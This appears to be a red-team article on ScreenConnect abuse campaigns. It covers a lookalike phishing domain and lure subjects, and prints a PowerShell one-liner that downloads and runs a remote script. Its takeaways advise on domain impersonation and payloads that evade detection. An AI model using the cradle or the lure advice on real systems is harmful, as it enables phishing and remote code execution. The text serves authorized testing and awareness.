Exploiting ConnectWise ScreenConnect: Unauthorized Remote Session Attacks

This article is written for informational purposes to highlight unauthorized remote session attacks. It is aimed at red teamers and security professionals involved in phishing simulations and penetration testing.

Campaign or TTP Overview

In a recently observed campaign, threat actors exploited vulnerabilities in ConnectWise ScreenConnect to conduct unauthorized remote sessions. These vulnerabilities, documented by CISA, primarily involved improper privilege management and missing authorization controls, allowing attackers to transfer and execute files on the compromised systems without any user confirmation.

These attacks were notably observed targeting IT service providers and managed service providers (MSPs) that utilize ScreenConnect for remote support tasks. The campaign primarily took place in 2023, with a focus on North America and Europe-based organizations. While specific actors have not been attributed, the trend indicates a focus on exploiting the inherent trust in remote management tools, which are often integral to IT operations yet frequently under-secured.

CISA has listed these vulnerabilities in their Known Exploited Vulnerabilities Catalog, emphasizing the critical nature of these findings and the urgent need for remediation to prevent further exploitation.

How It Was Built

The attack infrastructure was meticulously crafted to emit a legitimate appearance. By leveraging domains that mimicked known IT support services, attackers were able to gain initial access. One observed technique was the use of emails carrying subjects such as “Important update regarding your support session” with sender addresses like support@connectwise-update.com.

Delivery mechanisms often involved malicious links or attachments that appeared as updates needed to continue service efficacy. Once the user interacted with the link, a payload designed to exploit the vulnerability was delivered, typically in the form of a script that initiated an unauthorized remote session. The following payload could be observed in such campaigns:


powershell -c "iex ((new-object net.webclient).downloadstring('https://connectwise-update.com/update.ps1'))"

The payloads frequently deployed PowerShell scripts to execute commands and transfer additional malicious files onto the machine. Critical to the attack’s success was the lack of authorization checks that allowed these scripts to run upon delivery without requiring further permissions from the host user.

Why It Worked

The effectiveness of this campaign hinged on several strategic elements. By using domains that closely resembled legitimate service providers, attackers bypassed casual scrutiny, leveraging trust commonly established with IT service systems. Additionally, the pretext of urgently needed updates in the lure was compelling for recipients, as failing to comply might imply disrupted services or IT functionality, increasing click-through rates.

The lack of proper authorization controls in ScreenConnect facilitated the attack’s progress. Once the malicious update was activated, the vulnerability allowed remote session initiation and payload execution without further user interaction, guaranteeing that any initial success translated directly into successful system compromise.

Operator Takeaways

For red team operations, replicating aspects of this campaign involves emphasizing the sophistication of mimicked domains and the psychological framing of lures. Consider pretext scenarios that are both credible and urgent, such as service interruptions or critical updates. Furthermore, leveraging trusted platforms and the absence of user approval in scripting can lead to higher success in simulations and tests.

Good / Better / Best

Good: Utilize general service impersonation and basic PowerShell payloads. Effective in simple environments without strict email filtering.

Better: Craft customized domains using known patterns and register domains with high-similarity names. Pair this with realistic email templates mimicking IT service communications.

Best: Exploit the absence of multifactor authentication on remote tools. Design payloads that are dynamic, adapting to environmental detection avoidance and capitalizing on misconfigurations of trusted applications like ConnectWise.

References

CISA’s Known Exploited Vulnerabilities Catalog

ConnectWise on Responding to Incidents